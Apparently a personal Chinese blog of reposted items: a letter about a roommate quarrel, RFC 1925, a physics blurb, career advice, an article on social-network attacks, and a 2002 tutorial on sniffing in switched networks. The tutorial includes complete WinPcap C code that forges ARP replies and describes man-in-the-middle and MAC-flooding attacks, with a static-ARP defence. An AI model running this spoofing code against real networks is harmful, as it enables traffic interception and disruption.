Love in heart, dream in life.

somebody

i do not know to write down what else to show my heart.

my favourite


谢谢你,伤害了我(转)

发布者:viniedodo昕,发布时间:‎‎2009-3-19 上午3:09‎

直到今天早上醒过来,我还不敢相信昨天的事确实发生过。

    昨天晚上我就很想写了,但是我忍到了今天早上,我担心晚上的荷尔蒙升高会使我作出后悔的事情,因此,我选择清醒的早上来写。

    朋友说,你也应该写篇类似的文章回敬她。但是,我没有他(她)那么多丰富的词汇来写文。我只能用最朴实无华的词藻来表达自己:谢谢你。

   谢谢你,替我收了被子,我感到受宠若惊,因为我以为你的一声不吭是表示,我不帮你收。没想到,你收了。然后是一句迟到的谢谢,我不是故意不跟你说谢谢,而是看你这么入迷地盯着电脑,没敢打扰你。这是我做错了,对不起。

   还有谢谢你,让我体会到了另一种人的特点,他(她)不会看到你的好,只会看到你的不好。他(她)不会听到你说的“请,麻烦你,好吗?”等等词汇,而是把所有的话都yy成命令的语气。他(她)不会看到你扫地、拖地、倒垃圾给他(她)也提供一个良好的上网空间,而只会看到别人将东西放到别人的桌子上。

   谢谢你,让我体会到了什么是暗箭伤人,什么是最亲近的人却伤害你最深。直到现在,我还是会很气愤,很想哭。我不知道,竟然是你,会这么伤害我,也许在你的人生字典里,这样子做没有什么,但是,我没有你的这么淡泊一切,我很在乎,因此,恭喜你,你这样做,真的深深伤害了我,我气到发抖过,我气到哭过,如果你的目的是想伤害我,你做到了,你成功了。

   我以为,生活在一起,就是亲人,就是可以互相包容,互相帮助的。

   谢谢你,让我明白了现实的残酷。有些人,不管你是怎么满脸堆满笑容地面对他(她),他(她)怎么都不会领情。不领情也就算了,没关系。只是,他(她)还会哪天突然写篇文章来运用雄厚的语文功底来告诉别人自己很不爽。如果你对我有意见,你知道还有沟通这个方式的。可是,几年了,你一句话都不说,我以为你本来就是沉默寡言,不喜交谈。却不知道,自己每天笑脸对待的人,在心底里是这样的一副样子。

   谢谢你,我知道素质跟受教育程度并不成正比,我以后一定多看些这方面的书充实自己。

   谢谢你,让我明白了,妈妈说的中国人要多吃米饭是正确的,以后,我一定多多吃饭,多说话,多跟人交流,少上网,多出去走走。否则,会出事情的。

   还有,我问你今晚回不回来,不是想霸占你的桌子,而是,想知道你的行踪,在昨天之前,你还是我在上海的亲人,如果,我连你晚上回不回来都不在意的话,那么,你只是过客,不是么?

   昨晚,我真的想跟你好好沟通下,在回去之前,我想了该怎么跟你沟通,想了很多很多,但是,当我面向你的时候,看着你不温不火的表情,看着你一脸的不在乎,我真的很生气!每个人都是有脾气的。因此,原谅我,我做不到心平气和地跟你沟通。

   你说,你不知道我看到那篇文章会这么大反应。

   那么,我说,你是否有换位思考下。如果,是你,被人这么伤害,你会开心吗?或许,你根本还不知道这个就是伤害。

   在写这篇文章的时候,我在想会不会侵犯你的隐私,会让你伤心。而你,却用污秽的字眼残忍的语气对待你朝夕相处的人。

   这篇文章,我会在星期天之前删掉,因为我不想背着这样子的包袱进入新的学期,生气一天已经够了,朋友说,为了这点事情生气而伤身是最不值得的。因此,我不会再生气,我不会因为你而使自己的快乐少一秒。

   我不知道你会不会看到这篇文章,也不知道你会不会也删掉那篇文章,更不知道你会不会诚心地说一句对不起(我肯定也有做错的事情,但是,在这件事上,你真的做错了),这是你的自由,但是,我希望你是在法律的范围内。我吵不过你,打不过你,但是,如果你侵犯了我的权益,适当地情况下,我会拿起法律的武器保护自己。

   再次,对你说声,谢谢你。

RFC 1925 - The Twelve Networking Truths

发布者:viniedodo昕,发布时间:‎‎2009-3-1 下午9:07‎

Network Working Group                                  R. Callon, Editor
Request for Comments: 1925                                          IOOF
Category: Informational                                     1 April 1996

                      The Twelve Networking Truths

Status of this Memo

   This memo provides information for the Internet community.  This mem does not specify an Internet standard of any kind.  Distribution o this memo is unlimited.

Abstract

   This memo documents the fundamental truths of networking for th nternet community. This memo does not specify a standard, except in the sense that all standards must implicitly follow the fundamental truths.

Acknowledgements

   The truths described in this memo result from extensive study over an extended period of time by many people, some of whom did not intend to contribute to this work. The editor merely has collected these truths, and would like to thank the networking community for originally illuminating these truths.

1. Introduction

   This Request for Comments (RFC) provides information about the fundamental truths underlying all networking. These truths apply to networking in general, and are not limited to TCP/IP, the Internet, or any other subset of the networking community.

2. The Fundamental Truths

   (1)  It Has To Work.

   (2)  No matter how hard you push and no matter what the priority, you can't increase the speed of light.

        (2a) (corollary). No matter how hard you try, you can't make a baby in much less than 9 months. Trying to speed this up  *might* make it slower, but it won't make it happen any quicker.

   (3)  With sufficient thrust, pigs fly just fine. However, this is not necessarily a good idea. It is hard to be sure where they are going to land, and it could be dangerous sitting under them as they fly overhead.

   (4)  Some things in life can never be fully appreciated nor understood unless experienced firsthand. Some things in networking can never be fully understood by someone who neither builds commercial networking equipment nor runs an operational network.

   (5)  It is always possible to aglutenate multiple separate problems into a single complex interdependent solution. In most cases this is a bad idea.

   (6)  It is easier to move a problem around (for example, by moving the problem to a different part of the overall network architecture) than it is to solve it.

        (6a) (corollary). It is always possible to add another level of indirection.

   (7)  It is always something

        (7a) (corollary). Good, Fast, Cheap: Pick any two (you can't have all three).

   (8)  It is more complicated than you think.

   (9)  For all resources, whatever it is, you need more.

       (9a) (corollary) Every networking problem always takes longer to solve than it seems like it should.

   (10) One size never fits all.

   (11) Every old idea will be proposed again with a different name and a different presentation, regardless of whether it works.

        (11a) (corollary). See rule 6a.

   (12) In protocol design, perfection has been reached not when there is nothing left to add, but when there is nothing left to take away.

Security Considerations

   This RFC raises no security issues. However, security protocols are subject to the fundamental networking truths.

References

   The references have been deleted in order to protect the guilty and avoid enriching the lawyers.

弦论得到证实?

发布者:viniedodo昕,发布时间:‎‎2009-2-19 上午6:25‎

Ars Technica报道,知道最冷的气体和最热的等离子体有什么共同点吗?弦论或许能解释为什么它们有类似的量子液体的行为。 布鲁克海文国家实验室有一台世界上最强大的高能粒子对撞机之一。相对论重离子对撞机(RHIC)最近让金原子核以99%光速碰撞,创造了一种类似创世大爆炸之后瞬间存在的夸克汤(quark soup)。科学家从数据中发现了一些有趣的东西:碰撞不是均匀向外扩张,而是成椭圆体。之前此模式已有过描述,锂原子气体在极冷的几微开(microkelvin)温度下的行为与之相同。研究小组之间展开了讨论,受记者的启发,物理学家们开始引用弦论去解释,因为该理论已经预言了那种行为。

交换网络中的嗅探和ARP欺骗(转)

发布者:viniedodo昕,发布时间:‎‎2009-2-1 下午4:57‎

创建时间:2002-04-11
文章属性:原创
文章来源:www.opengram.com
文章提交:refdom (refdom_at_263.net)

Author: Refdom
Email:  refdom@263.net
HomePage: http://www.opengram.com
2002-4-6


   以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现
网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。


ARP缓存表
   假设这样一个网络:

             ——————————
             |       HUB        |
             ——————————
                |      |      |
                |      |      |
                |      |      |
             HostA   HostB   HostC

其中
A的地址为:IP:192.168.10.1     MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2     MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3     MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic

    这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记
录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接
收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
    因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。


集线器网络(Hub-Based)

    很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。
    这就是上面举例中的一种网络结构。

    现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

    正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

    因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。


交换网络(Switched Lan)

    交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面
例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。


ARP欺骗( ARP spoofing)

    ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应
答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不
知道被伪造了)。

现在A机器的ARP缓存更新了:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic

    这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!

    这就是一个简单的ARP欺骗。

    我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////////////////////////////
//
//                ARP Sender
//
//           Creator:    Refdom
//           Email:      refdom@263.net
//           Home Page:  www.opengram.com
//
//           2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Mac.h"    //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了
#include <stdio.h>
#include <Packet32.h>

#define EPT_IP        0x0800            /* type: IP    */
#define EPT_ARP        0x0806            /* type: ARP */
#define EPT_RARP    0x8035            /* type: RARP */
#define ARP_HARDWARE 0x0001            /* Dummy type for 802.3 frames  */
#define    ARP_REQUEST    0x0001            /* ARP request */
#define    ARP_REPLY    0x0002            /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
    unsigned char    eh_dst[6];        /* destination ethernet addrress */
    unsigned char    eh_src[6];        /* source ethernet addresss */
    unsigned short    eh_type;        /* ethernet pachet type    */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
    unsigned short    arp_hrd;            /* format of hardware address */
    unsigned short    arp_pro;            /* format of protocol address */
    unsigned char    arp_hln;            /* length of hardware address */
    unsigned char    arp_pln;            /* length of protocol address */
    unsigned short    arp_op;                /* ARP/RARP operation */

    unsigned char    arp_sha[6];            /* sender hardware address */
    unsigned long    arp_spa;            /* sender protocol address */
    unsigned char    arp_tha[6];            /* target hardware address */
    unsigned long    arp_tpa;            /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
    EHHDR    ehhdr;
    ARPHDR    arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
    static char AdapterList[Max_Num_Adapter][1024];    
    char szPacketBuf[600];
    char MacAddr[6];

    LPADAPTER    lpAdapter;
    LPPACKET    lpPacket;
    WCHAR        AdapterName[2048];
    WCHAR        *temp,*temp1;
    ARPPACKET ARPPacket;

    ULONG AdapterLength = 1024;
    
    int AdapterNum = 0;
    int nRetCode, i;

    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
        printf("Unable to retrieve the list of the adapters!\n");
        return 0;
    }

    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != '\0')||(*(temp-1) != '\0'))
    {
        if (*temp == '\0')
        {
            memcpy(AdapterList[i],temp1,(temp-temp1)*2);
            temp1=temp+1;
            i++;
        }
        
        temp++;
    }
    
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
        wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
    printf("\n");
    
    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡(假设啦)

    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
        nRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
        return 0;
    }

    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
        printf("\nError:failed to allocate the LPPACKET structure.");
        return 0;
    }

    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

    if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
    {
        printf ("Get Mac address error!\n");
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址

    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。(A的地址)

    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

    if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);    //伪造的C的MAC地址
    ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址

    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
    ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址

    memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
    PacketInitPacket(lpPacket, szPacketBuf, 60);

    if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
    {
        printf("warning: Unable to send more than one packet in a single write!\n");
    }
    
    if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
    {
        printf("Error sending the packets!\n");
        return 0;
    }

    printf ("Send ok!\n");

    // close the adapter and exit
    PacketFreePacket(lpPacket);
    PacketCloseAdapter(lpAdapter);
    return 0;
}

    于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……


    以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能
够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中
进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础
中我们就能够做到。


对目标进行ARP欺骗

     就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么,嗅探成功。
    A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送
给C的数据包可没有转交给C。
    做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由
器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。
   直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为
是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。


对Switch的MAC欺骗

   Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学
习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧
的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1
口输出,而不会从其它的口输出。

   跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来
不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的
MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对
应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。

   但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。


对Switch进行Flood

    就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端
口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基
本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。

    存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。


    对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换
机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

    至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用
arp -s 来进行静态ARP的设置。

揭露社交网络上攻击者最阴险的七大“黑”技(转)

发布者:viniedodo昕,发布时间:‎‎2009-2-1 下午4:57‎

揭露社交网络上攻击者最阴险的七大“黑”技

 
要对付社交网络攻击,先要对付这种攻击,本文谈谈攻击者最阴险的七大社交网络“黑技”。
如今,逢此“信息就在指尖”的互联网时代,不少人都拥有自己的电子邮件、QQ号码、MSN等与亲朋好友联系的通信工具,更有许多人在社交网站上注册了自己的账号,这无疑会极大地方便我们的工作与生活。但随着利欲熏心的不法之徒盯上社交网络,普通的用户在上网时便面临着巨大的“被黑”风险。

社交网络重点在于构建有着共同兴趣和活动的人们的在线社团,它也可以是对探索别人的兴趣和活动感兴趣的人员集合。许多社交网络是基于Web的,并可向用户提供交互的机会,如在文章开头所谈到的电子邮件和其它即时通信服务。

社交网络可以图示如下:

 
图1

社交网络的最大危险性在于损害个人的身份信息及其它信息。它可能会导致你的相片被发到某个成人网站,抵毁你的形象。也可能会导致你的网上银行卡的机密信息被人窃取,还有可能在不知不觉之间将公司的商业机密“大白于天下”!

不要对此掉以轻心了,不要觉得这种事情不会发生在你或你的公司身上。社交网络是网络钓鱼者、垃圾邮件制造者、僵尸网络控制者、公司间谍谋取利润的重要阵地,如果对其使用不慎,它甚至可轻易地葬送公司或个人的命运。

问题的根源在于社交网络站点本身并不安全。一般情况下,这种站点并不对用户进行鉴别,用户无法完全确认在线的所谓友人的身份,而攻击者可以轻易地利用社交网络内的“可信任的”文化,从中大块朵頤。但是,许多用户并未启用或部署这些站点所提供的某些安全和私密选项。

例如,社交网络应用程序开发工具,如OpenSocial,还有一些第三方的工具可轻易地被攻击者利用传播恶意软件或泄露个人私密信息。此外,还存在着公司间谍的真实风险,攻击者可以轻易地利用网络雇员的信息实施其它攻击。而且,有些流行的Web攻击方式,如跨站脚本攻击,也可被用于对付社交网络的成员。

千万不要因为你禁止家庭住址、电话号码等私有信息而沾沾自喜,因为这样并不能使你免受安全威胁。在互联网上并没有什么真正的私密。用户只能延缓信息被泄露的风险。用户需要将整个互联网看作是一个所有资源都永存的平台。

针对社交网络的攻击才刚刚开始,因此在发布个人信息时请三思而后行,或者在接受并信任新的朋友时需要加倍谨慎。随着攻击者日益关注社交网络,其攻击将更加严重。事实显示出,社交网站已成滋生网络攻击的温床。

孙子说,知彼知已,百战不殆。要对付社交网络攻击,先要对付这种攻击,下面笔者谈谈攻击者最阴险的七大社交网络“黑技”:

一、身份假冒及针对性的个人信息攻击

二、制造垃圾邮件和僵尸网络

三、被改造的社交网络应用程序

四、个人信息与专业信息的交叉混杂

五、跨站脚本攻击或跨站请求伪造

六、身份窃取

七、公司间谍

下面逐个谈谈:

一、身份假冒及针对性的个人信息攻击

不要认为安全专家们没有受到社交网络威胁。近年来的社交网络攻击日益广泛深入,许多社交网站的个人信息被发布到了其它网站上,这说明即使是专家也有可能无法幸免于难。作恶者可以借个人身份信息威胁受害人,如将其相片发到网络上。

如果社交网站的成员快速更新了自己的所作所为,或者对多个“跟随者”作出了注释,那么这简直就是在将其它的因素引入到社交网络安全中,即物理安全。也许你并没有跟别人说自己是谁、在什么地方,但这并不能阻止别有用心的家伙知道你的信息。

例如,将个人的太多信息(如出行信息或旅行计划等)散布到网络上,可能会导致入室行窃等的发生。由此可见,这会导致严重的物理安全问题。因此人人都不要轻易地将自己的信息发布到社交网站上。

正如哈密尔和摩尔在黑帽大会上所演示的那样,用户甚至不必拥有要攻击的社交网络的配置信息,也不必拥有账号,就可将他人的照片发送到互联网上,并获取在线的信息,构建令人深信不疑的信息。

二、制造垃圾邮件和僵尸网络

垃圾信息制造已经成为一种巨大的产业,广告、单击性欺诈、僵尸网络需要有效地传播其消息、恶意软件(或二者兼而有之)的一种机制。攻击者早已经如蛆虫一样进入了社交网络社团,劫持用户账户,并使用其地址簿传播垃圾邮件、蠕虫或其它的恶意软件。

可以看出,越来越多的恶意软件被作为附件放在了垃圾邮件中。在国外著名的社交网站中可以清楚地看到这一点。这种邮件的特点是将不明真相的人吸引到“特殊的”网页中,如引诱用户点击一个精彩的视频链接,而其实际上这是一个特洛伊木马的下载链接,它会偷偷地将恶意软件下载到用户的计算机上,并将此计算机变为僵尸网络的成员。

三、被改造的社交网络应用程序

用户们并没有过多地考虑将应用程序安装到其浏览器中的问题,不过,这些应用程序可能会获得访问用户系统的能力,而用户的一些极私密的信息可能存储在其自身的系统中,其危险性显而易见。不过,总有一些用户认为安装这些应用程序没有什么了不起。

这使得第三方的应用程序成为攻击者的一种简易工具。此外,第三方的应用程序服务还使得基于代码的攻击获得了途径。

但并不是说所有的社交网络虚拟工具都是恶意的。如开放性社交网站opensocial向工具的开发人员提供了在其应用程序中限制恶意JavaScript的选择,但不熟练的开发者却不知道如何使用这些手段。这只是一些可选项,很少有开发者使用这种工具。最终结果是,对安全不敏感的开发人员可以构建应用程序,而其传播速度也会如枯草上的野火一样迅猛。

四、个人信息与专业信息的交叉混杂

即使用户将A社交网站的账户信息用于私用,而将另外一个社交网站的账户用于专业性网络,这也无法保证前者的图片不会出现在后者的账号中,甚至“跑”到老板的邮箱中。不妨考虑一下开放性的社交网络,不管是图片还是工作经历,都可以成为到处复制、粘贴的对象。

五、跨站脚本攻击或跨站请求伪造

跨站脚本攻击及跨站请求伪造漏洞是很显明的攻击工具,有一些社交网络蠕虫使用跨站脚本攻击漏洞帮助其传播。不过多数社交网络拥有对付跨站脚本攻击的机制。而跨站请求伪造则尚未流行起来。

跨站脚本攻击和跨站请求伪造对社交网络站点并未造成巨大的风险。在跨站脚本攻击中,恶意的代码被注入到有漏洞的Web应用程序中,查看这些网页的用户就会被“黑”。在跨站请求伪造中,攻击者会欺骗用户的浏览器发出要求登录的请求。

要知道,在任何时候,攻击者都可以强迫用户加载HTML代码,其潜在的威胁是攻击者通过XSS/CSRF利用浏览器的漏洞、感染僵尸网络、并可操纵用户账户。

跨站请求伪造攻击可以在多个社交网络站点之间跳转,而在用户不断登录之时,这种攻击能够从一个社交网络传播到另外一个网络。从总体上看,跨站请求伪造攻击是一种被人们忽视的黑客行为。

六、身份窃取

简言之,身份窃取指通过假装为另外一个人的身份而进行欺诈、窃取等,并获取非法利益的活动。社交网络的信息可透露一些颇有价值的内容,如受害者的姓名和出生日期。身份窃贼们可以用这些信息猜测用户的口令或模仿这些用户,并最终窃取其身份。

社交网络的用户有时在不经意间将自己的信息拱手让给他人,他们可能将自己的邮件地址、出生日期、电话号码等交给并不熟悉的所谓“网友”。

我们对社交网络用户的一条忠告是,不要回答网站提交的全部问题,或者不要提供自己真实的出生日期。用户不必告诉网站自己真实的教育背景、电话号码等,还要想方设法让窃贼得到错误的其它敏感信息。

七、公司间谍

公司间谍活动在互联网平台日益发展壮大的背景下也有增无减,雇员的个人信息也有可能使公司招致公司间谍风险。

例如,为了实施钓鱼攻击,攻击者所做的是在社交网络站点上搜索公司的雇员,然后摆出一副公司老板或领导的姿态,如以人力资源部领导的身份出现,并向雇员发送电子邮件,如:“亲爱的某某,恭喜你加入本公司。请单击下面的链接访问本公司的内联网,并以你正常的用户名和口令登录,我们将根据你的信息更新配置文件。”尤其要注意的是,刚来公司上班的新人有可能会遭到这样的欺骗。

对付这种间谍行为的唯一办法是告诉雇员要限制所公开的信息,并不要将雇主或老板的名字透露出去,这可以减少通过雇员攻击公司领导及公司的机会。

总之,雇员需要知道,你在社交网络上与不法之徒也许仅有一步之遥。要明白:在社交网站上总有一些黑手在搜索你的信息。与我们互联的不仅仅是朋友,还有可能是豺狼。所以请谨慎地透露你的信息

写给金融危机下毕业生的16条忠告(出处不明)

发布者:viniedodo昕,发布时间:‎‎2008-12-16 下午10:08‎‎   [ 更新时间:‎‎2008-12-16 下午10:14‎‎ ]

 

忠告1:就业压力大是必然的,但并不意味着就没有就业机会。“危机”是危难也是机会,关键还是要看自己的把握。无论有没有危机,你自己必须努力,什么时候都有扶不起的阿斗。

 

 

忠告2心态要好,这个世界任何时候都没有绝对的完美,随时保持积极乐观的心态是重要而且必要的。有志者,事竟成。危机中最忌讳的是浮躁和颓废。浮躁会让你缺乏正确的判断力,而颓废则让你丧失机会争取的斗志。

 

 

忠告3:一个城市最重要的是水源,所以,要修水库;一个企业资金就是企业的水库,美国的危机告诉我们,再大的企业如果资金链断流,企业就只能破产;一个人呢?面对人生,你需要自己的人生水库。毕业生只是文凭或学历的毕业,而对于自己的“知识”而已,要知道学无止境。今后的日子代表着,你需要边工作边修自己的水库。

 

 

忠告4:危机实际上是一个大浪淘沙的过程,要想不被淘掉,你需要让你变成金子。就我所知,参加一些职业培训,可能是你必要的选择。(我不是自卖自夸)

 

 

忠告5:人生来就不是平等的,在危机面前更是如此,有些人拥有“啃老”的资本,而有些人可能需要的就是一份“工作”,仅此而已。所以,你需要重新审视一下自己。而对于多数人而言,毕业意味着从前是父母养你,今后你该负起家庭和社会的责任。

 

 

忠告6:现实一些,并不代表理想的丧失。RemembersYou have a great Ideal。(记住,你有一个伟大的理想!)人应该有远大的理想。思想是一个人的精神支柱,没有思想就是行尸走肉。当然有理想之外,也需要知道实现这个理想的具体方法。要知道你是不可替代的,也是无人可替代的。要有勇气做自己不敢做的事情,比如少小离家,比如甘心忍受寂寞,比如不随波逐流……。

 

 

忠告7:社会好像一根竹竿,分成若干节。一个人的事业,就是爬上比他自己的阶层更高的阶层去。当然,因为你要向上爬,而必然会有自上而下的阻力。克服它,你就成功了。当然,危机中你需要付出的努力将会更大,但也许更加值得。

 

 

忠告8:一个人贫穷,不是口袋没钱叫贫穷,而是脑袋的贫穷;人要有富有的想法,然后才会有富有的生活。头脑致富是未来趋势;翟鸿燊教授说:“如果要投资最好投资脖子以上”。不要做“三等人”:等下班、等薪水、等退休

 

 

忠告9:“不是学习没有用,而是因为我没用,因为我没用,所以我没用”如果你学会了应用,你就会变得很有用,你的学习也才变得有用。精通的目的都是为了应用。知识不是力量,学会使用知识才是力量;用知识创造财富,有财富才有自由;真正的财富不是口袋里有多少钱,而是脑袋里有些什么东西。要想有财富先要让自己的脑袋富有起来。所以,你要想成功,你首先要让自己变得有用起来。

 

 

忠告10:一位牧师在为第二天讲道煞费苦心,他的妻子外出了,年小的儿子无所事事烦躁不安。牧师随手抓过一本旧杂志,看见其中有一张色彩艳丽的世界地图,于是他用剪刀剪成小纸片。递给地板上的儿子:“儿子,你把这幅地图拼起来,我就给你买一盒巧克力”。牧师想,这样的地图,儿子怎么也会拼上半天。谁知不到十分钟,儿子就来敲门,他已经拼好了。牧师很惊讶,问儿子是怎么拼好的。孩子说:“这张地图的背面有一个人的图画。我想如果我把人拼对了,地图也该不会错吧。”牧师猛然醒悟:“假如一个人对了,他的世界也就肯定对了”。如果你发现你眼中的世界错了,你该反省一下,看看是不是自己活反了呢?

 

 

